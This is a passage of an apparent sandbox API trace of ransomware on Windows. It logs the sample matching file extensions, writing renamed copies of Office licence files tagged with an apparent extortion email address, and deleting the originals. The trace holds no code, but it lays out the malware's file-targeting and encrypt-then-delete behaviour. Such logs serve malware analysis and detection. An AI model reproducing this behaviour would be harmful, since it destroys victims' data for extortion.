returned -1 [0183.828] lstrlenW (lpString=".rar") returned 4 [0183.828] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.828] lstrlenW (lpString=".bz2") returned 4 [0183.828] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.828] lstrlenW (lpString=".7z") returned 3 [0183.828] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0183.828] lstrlenW (lpString=".dbf") returned 4 [0183.828] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0183.828] lstrlenW (lpString=".1cd") returned 4 [0183.828] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0183.828] lstrlenW (lpString=".jpg") returned 4 [0183.828] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0183.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0183.828] lstrlenW (lpString=".doc") returned 4 [0183.828] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.828] lstrlenW (lpString=".docx") returned 5 [0183.828] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.128] lstrlenW (lpString=".pdf") returned 4 [0184.128] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.128] lstrlenW (lpString=".xls") returned 4 [0184.128] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.128] lstrlenW (lpString=".xlsx") returned 5 [0184.128] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.128] lstrlenW (lpString=".ppt") returned 4 [0184.128] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0184.128] lstrlenW (lpString=".zip") returned 4 [0184.128] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.128] lstrlenW (lpString=".rar") returned 4 [0184.128] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.128] lstrlenW (lpString=".bz2") returned 4 [0184.128] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.128] lstrlenW (lpString=".7z") returned 3 [0184.128] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0184.128] lstrlenW (lpString=".dbf") returned 4 [0184.128] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0184.128] lstrlenW (lpString=".1cd") returned 4 [0184.128] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0184.129] lstrlenW (lpString=".jpg") returned 4 [0184.129] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.129] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0184.129] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 36 [0184.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0184.463] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11617) returned 1 [0184.463] CloseHandle (hObject=0x554) returned 1 [0184.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0184.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0184.464] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.464] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.468] GetLastError () returned 0x0 [0184.468] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d61, lpOverlapped=0x0) returned 1 [0184.470] WriteFile (in: hFile=0x558, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0184.471] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.471] WriteFile (in: hFile=0x558, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11c, lpOverlapped=0x0) returned 1 [0184.471] SetEndOfFile (hFile=0x558) returned 1 [0184.471] CloseHandle (hObject=0x558) returned 1 [0184.471] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.471] SetEndOfFile (hFile=0x554) returned 1 [0184.475] CloseHandle (hObject=0x554) returned 1 [0184.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0184.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0184.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0184.478] lstrlenW (lpString=".doc") returned 4 [0184.478] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.478] lstrlenW (lpString=".docx") returned 5 [0184.478] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.478] lstrlenW (lpString=".pdf") returned 4 [0184.478] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.478] lstrlenW (lpString=".xls") returned 4 [0184.478] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.478] lstrlenW (lpString=".xlsx") returned 5 [0184.478] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.478] lstrlenW (lpString=".ppt") returned 4 [0184.478] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0184.478] lstrlenW (lpString=".zip") returned 4 [0184.478] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.478] lstrlenW (lpString=".rar") returned 4 [0184.478] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.478] lstrlenW (lpString=".bz2") returned 4 [0184.478] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.479] lstrlenW (lpString=".7z") returned 3 [0184.479] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0184.479] lstrlenW (lpString=".dbf") returned 4 [0184.479] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0184.479] lstrlenW (lpString=".1cd") returned 4 [0184.479] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0184.479] lstrlenW (lpString=".jpg") returned 4 [0184.479] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.480] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=10667) returned 1 [0184.480] CloseHandle (hObject=0x554) returned 1 [0184.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220 [0184.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0184.482] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.482] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.484] GetLastError () returned 0x0 [0184.484] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0184.486] WriteFile (in: hFile=0x558, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0184.488] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.488] WriteFile (in: hFile=0x558, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x116, lpOverlapped=0x0) returned 1 [0184.488] SetEndOfFile (hFile=0x558) returned 1 [0184.488] CloseHandle (hObject=0x558) returned 1 [0184.488] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.488] SetEndOfFile (hFile=0x554) returned 1 [0184.491] CloseHandle (hObject=0x554) returned 1 [0184.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1 [0184.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0184.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0184.493] lstrlenW (lpString=".doc") returned 4 [0184.493] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.493] lstrlenW (lpString=".docx") returned 5 [0184.493] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.493] lstrlenW (lpString=".pdf") returned 4 [0184.493] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.493] lstrlenW (lpString=".xls") returned 4 [0184.493] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.493] lstrlenW (lpString=".xlsx") returned 5 [0184.493] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.493] lstrlenW (lpString=".ppt") returned 4 [0184.493] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0184.493] lstrlenW (lpString=".zip") returned 4 [0184.493] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.493] lstrlenW (lpString=".rar") returned 4 [0184.493] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.493] lstrlenW (lpString=".bz2") returned 4 [0184.493] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.493] lstrlenW (lpString=".7z") returned 3 [0184.493] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0184.493] lstrlenW (lpString=".dbf") returned 4 [0184.493] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0184.494] lstrlenW (lpString=".1cd") returned 4 [0184.494] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0184.494] lstrlenW (lpString=".jpg") returned 4 [0184.494] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.495] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=22094) returned 1 [0184.495] CloseHandle (hObject=0x554) returned 1 [0184.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220 [0184.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0184.496] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.496] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.497] GetLastError () returned 0x0 [0184.497] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x564e, lpOverlapped=0x0) returned 1 [0184.500] WriteFile (in: hFile=0x558, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x5650, lpOverlapped=0x0) returned 1 [0184.501] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.501] WriteFile (in: hFile=0x558, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x118, lpOverlapped=0x0) returned 1 [0184.501] SetEndOfFile (hFile=0x558) returned 1 [0184.501] CloseHandle (hObject=0x558) returned 1 [0184.501] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.501] SetEndOfFile (hFile=0x554) returned 1 [0184.856] CloseHandle (hObject=0x554) returned 1 [0184.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1 [0186.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0186.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0186.259] lstrlenW (lpString=".doc") returned 4 [0186.259] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.259] lstrlenW (lpString=".docx") returned 5 [0186.259] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.259] lstrlenW (lpString=".pdf") returned 4 [0186.259] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.259] lstrlenW (lpString=".xls") returned 4 [0186.259] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.260] lstrlenW (lpString=".xlsx") returned 5 [0186.260] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.260] lstrlenW (lpString=".ppt") returned 4 [0186.260] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0186.260] lstrlenW (lpString=".zip") returned 4 [0186.260] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.260] lstrlenW (lpString=".rar") returned 4 [0186.260] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.260] lstrlenW (lpString=".bz2") returned 4 [0186.260] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.260] lstrlenW (lpString=".7z") returned 3 [0186.260] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0186.260] lstrlenW (lpString=".dbf") returned 4 [0186.260] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0186.260] lstrlenW (lpString=".1cd") returned 4 [0186.260] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0186.260] lstrlenW (lpString=".jpg") returned 4 [0186.260] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.658] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.658] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0186.660] GetLastError () returned 0x0 [0186.660] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0186.662] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0186.663] ReadFile (in: hFile=0x554, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.663] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11e, lpOverlapped=0x0) returned 1 [0186.663] SetEndOfFile (hFile=0x388) returned 1 [0186.663] CloseHandle (hObject=0x388) returned 1 [0186.663] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.663] SetEndOfFile (hFile=0x554) returned 1 [0186.667] CloseHandle (hObject=0x554) returned 1 [0186.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 1 [0186.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0186.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0186.669] lstrlenW (lpString=".doc") returned 4 [0186.669] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.669] lstrlenW (lpString=".docx") returned 5 [0186.669] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.669] lstrlenW (lpString=".pdf") returned 4 [0186.669] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.669] lstrlenW (lpString=".xls") returned 4 [0186.669] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.670] lstrlenW (lpString=".xlsx") returned 5 [0186.670] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.670] lstrlenW (lpString=".ppt") returned 4 [0186.670] lstrcmpiW 